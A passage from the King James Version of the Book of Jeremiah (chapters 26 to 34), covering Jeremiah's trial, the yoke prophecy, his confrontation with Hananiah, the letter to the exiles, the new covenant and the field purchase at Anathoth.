which come to worship in the LORD's house, all the +words that I command thee to speak unto them; diminish not a word: +26:3 If so be they will hearken, and turn every man from his evil way, +that I may repent me of the evil, which I purpose to do unto them +because of the evil of their doings. + +26:4 And thou shalt say unto them, Thus saith the LORD; If ye will not +hearken to me, to walk in my law, which I have set before you, 26:5 To +hearken to the words of my servants the prophets, whom I sent unto +you, both rising up early, and sending them, but ye have not +hearkened; 26:6 Then will I make this house like Shiloh, and will make +this city a curse to all the nations of the earth. + +26:7 So the priests and the prophets and all the people heard Jeremiah +speaking these words in the house of the LORD. + +26:8 Now it came to pass, when Jeremiah had made an end of speaking +all that the LORD had commanded him to speak unto all the people, that +the priests and the prophets and all the people took him, saying, Thou +shalt surely die. + +26:9 Why hast thou prophesied in the name of the LORD, saying, This +house shall be like Shiloh, and this city shall be desolate without an +inhabitant? And all the people were gathered against Jeremiah in the +house of the LORD. + +26:10 When the princes of Judah heard these things, then they came up +from the king's house unto the house of the LORD, and sat down in the +entry of the new gate of the LORD's house. + +26:11 Then spake the priests and the prophets unto the princes and to +all the people, saying, This man is worthy to die; for he hath +prophesied against this city, as ye have heard with your ears. + +26:12 Then spake Jeremiah unto all the princes and to all the people, +saying, The LORD sent me to prophesy against this house and against +this city all the words that ye have heard. + +26:13 Therefore now amend your ways and your doings, and obey the +voice of the LORD your God; and the LORD will repent him of the evil +that he hath pronounced against you. + +26:14 As for me, behold, I am in your hand: do with me as seemeth good +and meet unto you. + +26:15 But know ye for certain, that if ye put me to death, ye shall +surely bring innocent blood upon yourselves, and upon this city, and +upon the inhabitants thereof: for of a truth the LORD hath sent me +unto you to speak all these words in your ears. + +26:16 Then said the princes and all the people unto the priests and to +the prophets; This man is not worthy to die: for he hath spoken to us +in the name of the LORD our God. + +26:17 Then rose up certain of the elders of the land, and spake to all +the assembly of the people, saying, 26:18 Micah the Morasthite +prophesied in the days of Hezekiah king of Judah, and spake to all the +people of Judah, saying, Thus saith the LORD of hosts; Zion shall be +plowed like a field, and Jerusalem shall become heaps, and the +mountain of the house as the high places of a forest. + +26:19 Did Hezekiah king of Judah and all Judah put him at all to +death? did he not fear the LORD, and besought the LORD, and the LORD +repented him of the evil which he had pronounced against them? Thus +might we procure great evil against our souls. + +26:20 And there was also a man that prophesied in the name of the +LORD, Urijah the son of Shemaiah of Kirjathjearim, who prophesied +against this city and against this land according to all the words of +Jeremiah. + +26:21 And when Jehoiakim the king, with all his mighty men, and all +the princes, heard his words, the king sought to put him to death: but +when Urijah heard it, he was afraid, and fled, and went into Egypt; +26:22 And Jehoiakim the king sent men into Egypt, namely, Elnathan the +son of Achbor, and certain men with him into Egypt. + +26:23 And they fetched forth Urijah out of Egypt, and brought him unto +Jehoiakim the king; who slew him with the sword, and cast his dead +body into the graves of the common people. + +26:24 Nevertheless the hand of Ahikam the son of Shaphan was with +Jeremiah, that they should not give him into the hand of the people to +put him to death. + +27:1 In the beginning of the reign of Jehoiakim the son of Josiah king +of Judah came this word unto Jeremiah from the LORD, saying, 27:2 Thus +saith the LORD to me; Make thee bonds and yokes, and put them upon thy +neck, 27:3 And send them to the king of Edom, and to the king of Moab, +and to the king of the Ammonites, and to the king of Tyrus, and to the +king of Zidon, by the hand of the messengers which come to Jerusalem +unto Zedekiah king of Judah; 27:4 And command them to say unto their +masters, Thus saith the LORD of hosts, the God of Israel; Thus shall +ye say unto your masters; 27:5 I have made the earth, the man and the +beast that are upon the ground, by my great power and by my +outstretched arm, and have given it unto whom it seemed meet unto me. + +27:6 And now have I given all these lands into the hand of +Nebuchadnezzar the king of Babylon, my servant; and the beasts of the +field have I given him also to serve him. + +27:7 And all nations shall serve him, and his son, and his son's son, +until the very time of his land come: and then many nations and great +kings shall serve themselves of him. + +27:8 And it shall come to pass, that the nation and kingdom which will +not serve the same Nebuchadnezzar the king of Babylon, and that will +not put their neck under the yoke of the king of Babylon, that nation +will I punish, saith the LORD, with the sword, and with the famine, +and with the pestilence, until I have consumed them by his hand. + +27:9 Therefore hearken not ye to your prophets, nor to your diviners, +nor to your dreamers, nor to your enchanters, nor to your sorcerers, +which speak unto you, saying, Ye shall not serve the king of Babylon: +27:10 For they prophesy a lie unto you, to remove you far from your +land; and that I should drive you out, and ye should perish. + +27:11 But the nations that bring their neck under the yoke of the king +of Babylon, and serve him, those will I let remain still in their own +land, saith the LORD; and they shall till it, and dwell therein. + +27:12 I spake also to Zedekiah king of Judah according to all these +words, saying, Bring your necks under the yoke of the king of Babylon, +and serve him and his people, and live. + +27:13 Why will ye die, thou and thy people, by the sword, by the +famine, and by the pestilence, as the LORD hath spoken against the +nation that will not serve the king of Babylon? 27:14 Therefore +hearken not unto the words of the prophets that speak unto you, +saying, Ye shall not serve the king of Babylon: for they prophesy a +lie unto you. + +27:15 For I have not sent them, saith the LORD, yet they prophesy a +lie in my name; that I might drive you out, and that ye might perish, +ye, and the prophets that prophesy unto you. + +27:16 Also I spake to the priests and to all this people, saying, Thus +saith the LORD; Hearken not to the words of your prophets that +prophesy unto you, saying, Behold, the vessels of the LORD's house +shall now shortly be brought again from Babylon: for they prophesy a +lie unto you. + +27:17 Hearken not unto them; serve the king of Babylon, and live: +wherefore should this city be laid waste? 27:18 But if they be +prophets, and if the word of the LORD be with them, let them now make +intercession to the LORD of hosts, that the vessels which are left in +the house of the LORD, and in the house of the king of Judah, and at +Jerusalem, go not to Babylon. + +27:19 For thus saith the LORD of hosts concerning the pillars, and +concerning the sea, and concerning the bases, and concerning the +residue of the vessels that remain in this city. + +27:20 Which Nebuchadnezzar king of Babylon took not, when he carried +away captive Jeconiah the son of Jehoiakim king of Judah from +Jerusalem to Babylon, and all the nobles of Judah and Jerusalem; 27:21 +Yea, thus saith the LORD of hosts, the God of Israel, concerning the +vessels that remain in the house of the LORD, and in the house of the +king of Judah and of Jerusalem; 27:22 They shall be carried to +Babylon, and there shall they be until the day that I visit them, +saith the LORD; then will I bring them up, and restore them to this +place. + +28:1 And it came to pass the same year, in the beginning of the reign +of Zedekiah king of Judah, in the fourth year, and in the fifth month, +that Hananiah the son of Azur the prophet, which was of Gibeon, spake +unto me in the house of the LORD, in the presence of the priests and +of all the people, saying, 28:2 Thus speaketh the LORD of hosts, the +God of Israel, saying, I have broken the yoke of the king of Babylon. + +28:3 Within two full years will I bring again into this place all the +vessels of the LORD's house, that Nebuchadnezzar king of Babylon took +away from this place, and carried them to Babylon: 28:4 And I will +bring again to this place Jeconiah the son of Jehoiakim king of Judah, +with all the captives of Judah, that went into Babylon, saith the +LORD: for I will break the yoke of the king of Babylon. + +28:5 Then the prophet Jeremiah said unto the prophet Hananiah in the +presence of the priests, and in the presence of all the people that +stood in the house of the LORD, 28:6 Even the prophet Jeremiah said, +Amen: the LORD do so: the LORD perform thy words which thou hast +prophesied, to bring again the vessels of the LORD's house, and all +that is carried away captive, from Babylon into this place. + +28:7 Nevertheless hear thou now this word that I speak in thine ears, +and in the ears of all the people; 28:8 The prophets that have been +before me and before thee of old prophesied both against many +countries, and against great kingdoms, of war, and of evil, and of +pestilence. + +28:9 The prophet which prophesieth of peace, when the word of the +prophet shall come to pass, then shall the prophet be known, that the +LORD hath truly sent him. + +28:10 Then Hananiah the prophet took the yoke from off the prophet +Jeremiah's neck, and brake it. + +28:11 And Hananiah spake in the presence of all the people, saying, +Thus saith the LORD; Even so will I break the yoke of Nebuchadnezzar +king of Babylon from the neck of all nations within the space of two +full years. And the prophet Jeremiah went his way. + +28:12 Then the word of the LORD came unto Jeremiah the prophet, after +that Hananiah the prophet had broken the yoke from off the neck of the +prophet Jeremiah, saying, 28:13 Go and tell Hananiah, saying, Thus +saith the LORD; Thou hast broken the yokes of wood; but thou shalt +make for them yokes of iron. + +28:14 For thus saith the LORD of hosts, the God of Israel; I have put +a yoke of iron upon the neck of all these nations, that they may serve +Nebuchadnezzar king of Babylon; and they shall serve him: and I have +given him the beasts of the field also. + +28:15 Then said the prophet Jeremiah unto Hananiah the prophet, Hear +now, Hananiah; The LORD hath not sent thee; but thou makest this +people to trust in a lie. + +28:16 Therefore thus saith the LORD; Behold, I will cast thee from off +the face of the earth: this year thou shalt die, because thou hast +taught rebellion against the LORD. + +28:17 So Hananiah the prophet died the same year in the seventh month. + +29:1 Now these are the words of the letter that Jeremiah the prophet +sent from Jerusalem unto the residue of the elders which were carried +away captives, and to the priests, and to the prophets, and to all the +people whom Nebuchadnezzar had carried away captive from Jerusalem to +Babylon; 29:2 (After that Jeconiah the king, and the queen, and the +eunuchs, the princes of Judah and Jerusalem, and the carpenters, and +the smiths, were departed from Jerusalem;) 29:3 By the hand of Elasah +the son of Shaphan, and Gemariah the son of Hilkiah, (whom Zedekiah +king of Judah sent unto Babylon to Nebuchadnezzar king of Babylon) +saying, 29:4 Thus saith the LORD of hosts, the God of Israel, unto all +that are carried away captives, whom I have caused to be carried away +from Jerusalem unto Babylon; 29:5 Build ye houses, and dwell in them; +and plant gardens, and eat the fruit of them; 29:6 Take ye wives, and +beget sons and daughters; and take wives for your sons, and give your +daughters to husbands, that they may bear sons and daughters; that ye +may be increased there, and not diminished. + +29:7 And seek the peace of the city whither I have caused you to be +carried away captives, and pray unto the LORD for it: for in the peace +thereof shall ye have peace. + +29:8 For thus saith the LORD of hosts, the God of Israel; Let not your +prophets and your diviners, that be in the midst of you, deceive you, +neither hearken to your dreams which ye cause to be dreamed. + +29:9 For they prophesy falsely unto you in my name: I have not sent +them, saith the LORD. + +29:10 For thus saith the LORD, That after seventy years be +accomplished at Babylon I will visit you, and perform my good word +toward you, in causing you to return to this place. + +29:11 For I know the thoughts that I think toward you, saith the LORD, +thoughts of peace, and not of evil, to give you an expected end. + +29:12 Then shall ye call upon me, and ye shall go and pray unto me, +and I will hearken unto you. + +29:13 And ye shall seek me, and find me, when ye shall search for me +with all your heart. + +29:14 And I will be found of you, saith the LORD: and I will turn away +your captivity, and I will gather you from all the nations, and from +all the places whither I have driven you, saith the LORD; and I will +bring you again into the place whence I caused you to be carried away +captive. + +29:15 Because ye have said, The LORD hath raised us up prophets in +Babylon; 29:16 Know that thus saith the LORD of the king that sitteth +upon the throne of David, and of all the people that dwelleth in this +city, and of your brethren that are not gone forth with you into +captivity; 29:17 Thus saith the LORD of hosts; Behold, I will send +upon them the sword, the famine, and the pestilence, and will make +them like vile figs, that cannot be eaten, they are so evil. + +29:18 And I will persecute them with the sword, with the famine, and +with the pestilence, and will deliver them to be removed to all the +kingdoms of the earth, to be a curse, and an astonishment, and an +hissing, and a reproach, among all the nations whither I have driven +them: 29:19 Because they have not hearkened to my words, saith the +LORD, which I sent unto them by my servants the prophets, rising up +early and sending them; but ye would not hear, saith the LORD. + +29:20 Hear ye therefore the word of the LORD, all ye of the captivity, +whom I have sent from Jerusalem to Babylon: 29:21 Thus saith the LORD +of hosts, the God of Israel, of Ahab the son of Kolaiah, and of +Zedekiah the son of Maaseiah, which prophesy a lie unto you in my +name; Behold, I will deliver them into the hand of Nebuchadrezzar king +of Babylon; and he shall slay them before your eyes; 29:22 And of them +shall be taken up a curse by all the captivity of Judah which are in +Babylon, saying, The LORD make thee like Zedekiah and like Ahab, whom +the king of Babylon roasted in the fire; 29:23 Because they have +committed villany in Israel, and have committed adultery with their +neighbours' wives, and have spoken lying words in my name, which I +have not commanded them; even I know, and am a witness, saith the +LORD. + +29:24 Thus shalt thou also speak to Shemaiah the Nehelamite, saying, +29:25 Thus speaketh the LORD of hosts, the God of Israel, saying, +Because thou hast sent letters in thy name unto all the people that +are at Jerusalem, and to Zephaniah the son of Maaseiah the priest, and +to all the priests, saying, 29:26 The LORD hath made thee priest in +the stead of Jehoiada the priest, that ye should be officers in the +house of the LORD, for every man that is mad, and maketh himself a +prophet, that thou shouldest put him in prison, and in the stocks. + +29:27 Now therefore why hast thou not reproved Jeremiah of Anathoth, +which maketh himself a prophet to you? 29:28 For therefore he sent +unto us in Babylon, saying, This captivity is long: build ye houses, +and dwell in them; and plant gardens, and eat the fruit of them. + +29:29 And Zephaniah the priest read this letter in the ears of +Jeremiah the prophet. + +29:30 Then came the word of the LORD unto Jeremiah, saying, 29:31 Send +to all them of the captivity, saying, Thus saith the LORD concerning +Shemaiah the Nehelamite; Because that Shemaiah hath prophesied unto +you, and I sent him not, and he caused you to trust in a lie: 29:32 +Therefore thus saith the LORD; Behold, I will punish Shemaiah the +Nehelamite, and his seed: he shall not have a man to dwell among this +people; neither shall he behold the good that I will do for my people, +saith the LORD; because he hath taught rebellion against the LORD. + +30:1 The word that came to Jeremiah from the LORD, saying, 30:2 Thus +speaketh the LORD God of Israel, saying, Write thee all the words that +I have spoken unto thee in a book. + +30:3 For, lo, the days come, saith the LORD, that I will bring again +the captivity of my people Israel and Judah, saith the LORD: and I +will cause them to return to the land that I gave to their fathers, +and they shall possess it. + +30:4 And these are the words that the LORD spake concerning Israel and +concerning Judah. + +30:5 For thus saith the LORD; We have heard a voice of trembling, of +fear, and not of peace. + +30:6 Ask ye now, and see whether a man doth travail with child? +wherefore do I see every man with his hands on his loins, as a woman +in travail, and all faces are turned into paleness? 30:7 Alas! for +that day is great, so that none is like it: it is even the time of +Jacob's trouble, but he shall be saved out of it. + +30:8 For it shall come to pass in that day, saith the LORD of hosts, +that I will break his yoke from off thy neck, and will burst thy +bonds, and strangers shall no more serve themselves of him: 30:9 But +they shall serve the LORD their God, and David their king, whom I will +raise up unto them. + +30:10 Therefore fear thou not, O my servant Jacob, saith the LORD; +neither be dismayed, O Israel: for, lo, I will save thee from afar, +and thy seed from the land of their captivity; and Jacob shall return, +and shall be in rest, and be quiet, and none shall make him afraid. + +30:11 For I am with thee, saith the LORD, to save thee: though I make +a full end of all nations whither I have scattered thee, yet I will +not make a full end of thee: but I will correct thee in measure, and +will not leave thee altogether unpunished. + +30:12 For thus saith the LORD, Thy bruise is incurable, and thy wound +is grievous. + +30:13 There is none to plead thy cause, that thou mayest be bound up: +thou hast no healing medicines. + +30:14 All thy lovers have forgotten thee; they seek thee not; for I +have wounded thee with the wound of an enemy, with the chastisement of +a cruel one, for the multitude of thine iniquity; because thy sins +were increased. + +30:15 Why criest thou for thine affliction? thy sorrow is incurable +for the multitude of thine iniquity: because thy sins were increased, +I have done these things unto thee. + +30:16 Therefore all they that devour thee shall be devoured; and all +thine adversaries, every one of them, shall go into captivity; and +they that spoil thee shall be a spoil, and all that prey upon thee +will I give for a prey. + +30:17 For I will restore health unto thee, and I will heal thee of thy +wounds, saith the LORD; because they called thee an Outcast, saying, +This is Zion, whom no man seeketh after. + +30:18 Thus saith the LORD; Behold, I will bring again the captivity of +Jacob's tents, and have mercy on his dwellingplaces; and the city +shall be builded upon her own heap, and the palace shall remain after +the manner thereof. + +30:19 And out of them shall proceed thanksgiving and the voice of them +that make merry: and I will multiply them, and they shall not be few; +I will also glorify them, and they shall not be small. + +30:20 Their children also shall be as aforetime, and their +congregation shall be established before me, and I will punish all +that oppress them. + +30:21 And their nobles shall be of themselves, and their governor +shall proceed from the midst of them; and I will cause him to draw +near, and he shall approach unto me: for who is this that engaged his +heart to approach unto me? saith the LORD. + +30:22 And ye shall be my people, and I will be your God. + +30:23 Behold, the whirlwind of the LORD goeth forth with fury, a +continuing whirlwind: it shall fall with pain upon the head of the +wicked. + +30:24 The fierce anger of the LORD shall not return, until he hath +done it, and until he have performed the intents of his heart: in the +latter days ye shall consider it. + +31:1 At the same time, saith the LORD, will I be the God of all the +families of Israel, and they shall be my people. + +31:2 Thus saith the LORD, The people which were left of the sword +found grace in the wilderness; even Israel, when I went to cause him +to rest. + +31:3 The LORD hath appeared of old unto me, saying, Yea, I have loved +thee with an everlasting love: therefore with lovingkindness have I +drawn thee. + +31:4 Again I will build thee, and thou shalt be built, O virgin of +Israel: thou shalt again be adorned with thy tabrets, and shalt go +forth in the dances of them that make merry. + +31:5 Thou shalt yet plant vines upon the mountains of Samaria: the +planters shall plant, and shall eat them as common things. + +31:6 For there shall be a day, that the watchmen upon the mount +Ephraim shall cry, Arise ye, and let us go up to Zion unto the LORD +our God. + +31:7 For thus saith the LORD; Sing with gladness for Jacob, and shout +among the chief of the nations: publish ye, praise ye, and say, O +LORD, save thy people, the remnant of Israel. + +31:8 Behold, I will bring them from the north country, and gather them +from the coasts of the earth, and with them the blind and the lame, +the woman with child and her that travaileth with child together: a +great company shall return thither. + +31:9 They shall come with weeping, and with supplications will I lead +them: I will cause them to walk by the rivers of waters in a straight +way, wherein they shall not stumble: for I am a father to Israel, and +Ephraim is my firstborn. + +31:10 Hear the word of the LORD, O ye nations, and declare it in the +isles afar off, and say, He that scattered Israel will gather him, and +keep him, as a shepherd doth his flock. + +31:11 For the LORD hath redeemed Jacob, and ransomed him from the hand +of him that was stronger than he. + +31:12 Therefore they shall come and sing in the height of Zion, and +shall flow together to the goodness of the LORD, for wheat, and for +wine, and for oil, and for the young of the flock and of the herd: and +their soul shall be as a watered garden; and they shall not sorrow any +more at all. + +31:13 Then shall the virgin rejoice in the dance, both young men and +old together: for I will turn their mourning into joy, and will +comfort them, and make them rejoice from their sorrow. + +31:14 And I will satiate the soul of the priests with fatness, and my +people shall be satisfied with my goodness, saith the LORD. + +31:15 Thus saith the LORD; A voice was heard in Ramah, lamentation, +and bitter weeping; Rahel weeping for her children refused to be +comforted for her children, because they were not. + +31:16 Thus saith the LORD; Refrain thy voice from weeping, and thine +eyes from tears: for thy work shall be rewarded, saith the LORD; and +they shall come again from the land of the enemy. + +31:17 And there is hope in thine end, saith the LORD, that thy +children shall come again to their own border. + +31:18 I have surely heard Ephraim bemoaning himself thus; Thou hast +chastised me, and I was chastised, as a bullock unaccustomed to the +yoke: turn thou me, and I shall be turned; for thou art the LORD my +God. + +31:19 Surely after that I was turned, I repented; and after that I was +instructed, I smote upon my thigh: I was ashamed, yea, even +confounded, because I did bear the reproach of my youth. + +31:20 Is Ephraim my dear son? is he a pleasant child? for since I +spake against him, I do earnestly remember him still: therefore my +bowels are troubled for him; I will surely have mercy upon him, saith +the LORD. + +31:21 Set thee up waymarks, make thee high heaps: set thine heart +toward the highway, even the way which thou wentest: turn again, O +virgin of Israel, turn again to these thy cities. + +31:22 How long wilt thou go about, O thou backsliding daughter? for +the LORD hath created a new thing in the earth, A woman shall compass +a man. + +31:23 Thus saith the LORD of hosts, the God of Israel; As yet they +shall use this speech in the land of Judah and in the cities thereof, +when I shall bring again their captivity; The LORD bless thee, O +habitation of justice, and mountain of holiness. + +31:24 And there shall dwell in Judah itself, and in all the cities +thereof together, husbandmen, and they that go forth with flocks. + +31:25 For I have satiated the weary soul, and I have replenished every +sorrowful soul. + +31:26 Upon this I awaked, and beheld; and my sleep was sweet unto me. + +31:27 Behold, the days come, saith the LORD, that I will sow the house +of Israel and the house of Judah with the seed of man, and with the +seed of beast. + +31:28 And it shall come to pass, that like as I have watched over +them, to pluck up, and to break down, and to throw down, and to +destroy, and to afflict; so will I watch over them, to build, and to +plant, saith the LORD. + +31:29 In those days they shall say no more, The fathers have eaten a +sour grape, and the children's teeth are set on edge. + +31:30 But every one shall die for his own iniquity: every man that +eateth the sour grape, his teeth shall be set on edge. + +31:31 Behold, the days come, saith the LORD, that I will make a new +covenant with the house of Israel, and with the house of Judah: 31:32 +Not according to the covenant that I made with their fathers in the +day that I took them by the hand to bring them out of the land of +Egypt; which my covenant they brake, although I was an husband unto +them, saith the LORD: 31:33 But this shall be the covenant that I will +make with the house of Israel; After those days, saith the LORD, I +will put my law in their inward parts, and write it in their hearts; +and will be their God, and they shall be my people. + +31:34 And they shall teach no more every man his neighbour, and every +man his brother, saying, Know the LORD: for they shall all know me, +from the least of them unto the greatest of them, saith the LORD: for +I will forgive their iniquity, and I will remember their sin no more. + +31:35 Thus saith the LORD, which giveth the sun for a light by day, +and the ordinances of the moon and of the stars for a light by night, +which divideth the sea when the waves thereof roar; The LORD of hosts +is his name: 31:36 If those ordinances depart from before me, saith +the LORD, then the seed of Israel also shall cease from being a nation +before me for ever. + +31:37 Thus saith the LORD; If heaven above can be measured, and the +foundations of the earth searched out beneath, I will also cast off +all the seed of Israel for all that they have done, saith the LORD. + +31:38 Behold, the days come, saith the LORD, that the city shall be +built to the LORD from the tower of Hananeel unto the gate of the +corner. + +31:39 And the measuring line shall yet go forth over against it upon +the hill Gareb, and shall compass about to Goath. + +31:40 And the whole valley of the dead bodies, and of the ashes, and +all the fields unto the brook of Kidron, unto the corner of the horse +gate toward the east, shall be holy unto the LORD; it shall not be +plucked up, nor thrown down any more for ever. + +32:1 The word that came to Jeremiah from the LORD in the tenth year of +Zedekiah king of Judah, which was the eighteenth year of +Nebuchadrezzar. + +32:2 For then the king of Babylon's army besieged Jerusalem: and +Jeremiah the prophet was shut up in the court of the prison, which was +in the king of Judah's house. + +32:3 For Zedekiah king of Judah had shut him up, saying, Wherefore +dost thou prophesy, and say, Thus saith the LORD, Behold, I will give +this city into the hand of the king of Babylon, and he shall take it; +32:4 And Zedekiah king of Judah shall not escape out of the hand of +the Chaldeans, but shall surely be delivered into the hand of the king +of Babylon, and shall speak with him mouth to mouth, and his eyes +shall behold his eyes; 32:5 And he shall lead Zedekiah to Babylon, and +there shall he be until I visit him, saith the LORD: though ye fight +with the Chaldeans, ye shall not prosper. + +32:6 And Jeremiah said, The word of the LORD came unto me, saying, +32:7 Behold, Hanameel the son of Shallum thine uncle shall come unto +thee saying, Buy thee my field that is in Anathoth: for the right of +redemption is thine to buy it. + +32:8 So Hanameel mine uncle's son came to me in the court of the +prison according to the word of the LORD, and said unto me, Buy my +field, I pray thee, that is in Anathoth, which is in the country of +Benjamin: for the right of inheritance is thine, and the redemption is +thine; buy it for thyself. + +Then I knew that this was the word of the LORD. + +32:9 And I bought the field of Hanameel my uncle's son, that was in +Anathoth, and weighed him the money, even seventeen shekels of silver. + +32:10 And I subscribed the evidence, and sealed it, and took +witnesses, and weighed him the money in the balances. + +32:11 So I took the evidence of the purchase, both that which was +sealed according to the law and custom, and that which was open: 32:12 +And I gave the evidence of the purchase unto Baruch the son of Neriah, +the son of Maaseiah, in the sight of Hanameel mine uncle's son, and in +the presence of the witnesses that subscribed the book of the +purchase, before all the Jews that sat in the court of the prison. + +32:13 And I charged Baruch before them, saying, 32:14 Thus saith the +LORD of hosts, the God of Israel; Take these evidences, this evidence +of the purchase, both which is sealed, and this evidence which is +open; and put them in an earthen vessel, that they may continue many +days. + +32:15 For thus saith the LORD of hosts, the God of Israel; Houses and +fields and vineyards shall be possessed again in this land. + +32:16 Now when I had delivered the evidence of the purchase unto +Baruch the son of Neriah, I prayed unto the LORD, saying, 32:17 Ah +Lord GOD! behold, thou hast made the heaven and the earth by thy great +power and stretched out arm, and there is nothing too hard for thee: +32:18 Thou shewest lovingkindness unto thousands, and recompensest the +iniquity of the fathers into the bosom of their children after them: +the Great, the Mighty God, the LORD of hosts, is his name, 32:19 Great +in counsel, and mighty in work: for thine eyes are open upon all the +ways of the sons of men: to give every one according to his ways, and +according to the fruit of his doings: 32:20 Which hast set signs and +wonders in the land of Egypt, even unto this day, and in Israel, and +among other men; and hast made thee a name, as at this day; 32:21 And +hast brought forth thy people Israel out of the land of Egypt with +signs, and with wonders, and with a strong hand, and with a stretched +out arm, and with great terror; 32:22 And hast given them this land, +which thou didst swear to their fathers to give them, a land flowing +with milk and honey; 32:23 And they came in, and possessed it; but +they obeyed not thy voice, neither walked in thy law; they have done +nothing of all that thou commandedst them to do: therefore thou hast +caused all this evil to come upon them: 32:24 Behold the mounts, they +are come unto the city to take it; and the city is given into the hand +of the Chaldeans, that fight against it, because of the sword, and of +the famine, and of the pestilence: and what thou hast spoken is come +to pass; and, behold, thou seest it. + +32:25 And thou hast said unto me, O Lord GOD, Buy thee the field for +money, and take witnesses; for the city is given into the hand of the +Chaldeans. + +32:26 Then came the word of the LORD unto Jeremiah, saying, 32:27 +Behold, I am the LORD, the God of all flesh: is there any thing too +hard for me? 32:28 Therefore thus saith the LORD; Behold, I will give +this city into the hand of the Chaldeans, and into the hand of +Nebuchadrezzar king of Babylon, and he shall take it: 32:29 And the +Chaldeans, that fight against this city, shall come and set fire on +this city, and burn it with the houses, upon whose roofs they have +offered incense unto Baal, and poured out drink offerings unto other +gods, to provoke me to anger. + +32:30 For the children of Israel and the children of Judah have only +done evil before me from their youth: for the children of Israel have +only provoked me to anger with the work of their hands, saith the +LORD. + +32:31 For this city hath been to me as a provocation of mine anger and +of my fury from the day that they built it even unto this day; that I +should remove it from before my face, 32:32 Because of all the evil of +the children of Israel and of the children of Judah, which they have +done to provoke me to anger, they, their kings, their princes, their +priests, and their prophets, and the men of Judah, and the inhabitants +of Jerusalem. + +32:33 And they have turned unto me the back, and not the face: though +I taught them, rising up early and teaching them, yet they have not +hearkened to receive instruction. + +32:34 But they set their abominations in the house, which is called by +my name, to defile it. + +32:35 And they built the high places of Baal, which are in the valley +of the son of Hinnom, to cause their sons and their daughters to pass +through the fire unto Molech; which I commanded them not, neither came +it into my mind, that they should do this abomination, to cause Judah +to sin. + +32:36 And now therefore thus saith the LORD, the God of Israel, +concerning this city, whereof ye say, It shall be delivered into the +hand of the king of Babylon by the sword, and by the famine, and by +the pestilence; 32:37 Behold, I will gather them out of all countries, +whither I have driven them in mine anger, and in my fury, and in great +wrath; and I will bring them again unto this place, and I will cause +them to dwell safely: 32:38 And they shall be my people, and I will be +their God: 32:39 And I will give them one heart, and one way, that +they may fear me for ever, for the good of them, and of their children +after them: 32:40 And I will make an everlasting covenant with them, +that I will not turn away from them, to do them good; but I will put +my fear in their hearts, that they shall not depart from me. + +32:41 Yea, I will rejoice over them to do them good, and I will plant +them in this land assuredly with my whole heart and with my whole +soul. + +32:42 For thus saith the LORD; Like as I have brought all this great +evil upon this people, so will I bring upon them all the good that I +have promised them. + +32:43 And fields shall be bought in this land, whereof ye say, It is +desolate without man or beast; it is given into the hand of the +Chaldeans. + +32:44 Men shall buy fields for money, and subscribe evidences, and +seal them, and take witnesses in the land of Benjamin, and in the +places about Jerusalem, and in the cities of Judah, and in the cities +of the mountains, and in the cities of the valley, and in the cities +of the south: for I will cause their captivity to return, saith the +LORD. + +33:1 Moreover the word of the LORD came unto Jeremiah the second time, +while he was yet shut up in the court of the prison, saying, 33:2 Thus +saith the LORD the maker thereof, the LORD that formed it, to +establish it; the LORD is his name; 33:3 Call unto me, and I will +answer thee, and shew thee great and mighty things, which thou knowest +not. + +33:4 For thus saith the LORD, the God of Israel, concerning the houses +of this city, and concerning the houses of the kings of Judah, which +are thrown down by the mounts, and by the sword; 33:5 They come to +fight with the Chaldeans, but it is to fill them with the dead bodies +of men, whom I have slain in mine anger and in my fury, and for all +whose wickedness I have hid my face from this city. + +33:6 Behold, I will bring it health and cure, and I will cure them, +and will reveal unto them the abundance of peace and truth. + +33:7 And I will cause the captivity of Judah and the captivity of +Israel to return, and will build them, as at the first. + +33:8 And I will cleanse them from all their iniquity, whereby they +have sinned against me; and I will pardon all their iniquities, +whereby they have sinned, and whereby they have transgressed against +me. + +33:9 And it shall be to me a name of joy, a praise and an honour +before all the nations of the earth, which shall hear all the good +that I do unto them: and they shall fear and tremble for all the +goodness and for all the prosperity that I procure unto it. + +33:10 Thus saith the LORD; Again there shall be heard in this place, +which ye say shall be desolate without man and without beast, even in +the cities of Judah, and in the streets of Jerusalem, that are +desolate, without man, and without inhabitant, and without beast, +33:11 The voice of joy, and the voice of gladness, the voice of the +bridegroom, and the voice of the bride, the voice of them that shall +say, Praise the LORD of hosts: for the LORD is good; for his mercy +endureth for ever: and of them that shall bring the sacrifice of +praise into the house of the LORD. For I will cause to return the +captivity of the land, as at the first, saith the LORD. + +33:12 Thus saith the LORD of hosts; Again in this place, which is +desolate without man and without beast, and in all the cities thereof, +shall be an habitation of shepherds causing their flocks to lie down. + +33:13 In the cities of the mountains, in the cities of the vale, and +in the cities of the south, and in the land of Benjamin, and in the +places about Jerusalem, and in the cities of Judah, shall the flocks +pass again under the hands of him that telleth them, saith the LORD. + +33:14 Behold, the days come, saith the LORD, that I will perform that +good thing which I have promised unto the house of Israel and to the +house of Judah. + +33:15 In those days, and at that time, will I cause the Branch of +righteousness to grow up unto David; and he shall execute judgment and +righteousness in the land. + +33:16 In those days shall Judah be saved, and Jerusalem shall dwell +safely: and this is the name wherewith she shall be called, The LORD +our righteousness. + +33:17 For thus saith the LORD; David shall never want a man to sit +upon the throne of the house of Israel; 33:18 Neither shall the +priests the Levites want a man before me to offer burnt offerings, and +to kindle meat offerings, and to do sacrifice continually. + +33:19 And the word of the LORD came unto Jeremiah, saying, 33:20 Thus +saith the LORD; If ye can break my covenant of the day, and my +covenant of the night, and that there should not be day and night in +their season; 33:21 Then may also my covenant be broken with David my +servant, that he should not have a son to reign upon his throne; and +with the Levites the priests, my ministers. + +33:22 As the host of heaven cannot be numbered, neither the sand of +the sea measured: so will I multiply the seed of David my servant, and +the Levites that minister unto me. + +33:23 Moreover the word of the LORD came to Jeremiah, saying, 33:24 +Considerest thou not what this people have spoken, saying, The two +families which the LORD hath chosen, he hath even cast them off? thus +they have despised my people, that they should be no more a nation +before them. + +33:25 Thus saith the LORD; If my covenant be not with day and night, +and if I have not appointed the ordinances of heaven and earth; 33:26 +Then will I cast away the seed of Jacob and David my servant, so that +I will not take any of his seed to be rulers over the seed of Abraham, +Isaac, and Jacob: for I will cause their captivity to return, and have +mercy on them. + +34:1 The word which came unto Jeremiah from the LORD, when +Nebuchadnezzar king of Babylon, and all his army, and all the kingdoms +of the earth of his dominion, and all the people, fought against +Jerusalem, and against all the cities thereof, saying, 34:2 Thus saith +the LORD, the God of Israel; Go and speak to Zedekiah king of Judah, +and tell him, Thus saith the LORD; Behold, I will give this city into +the hand of the king of Babylon, and he shall burn it with fire: 34:3 +And thou shalt not escape out of his hand, but shalt surely be taken, +and delivered into his hand; and thine eyes shall behold the eyes of +the 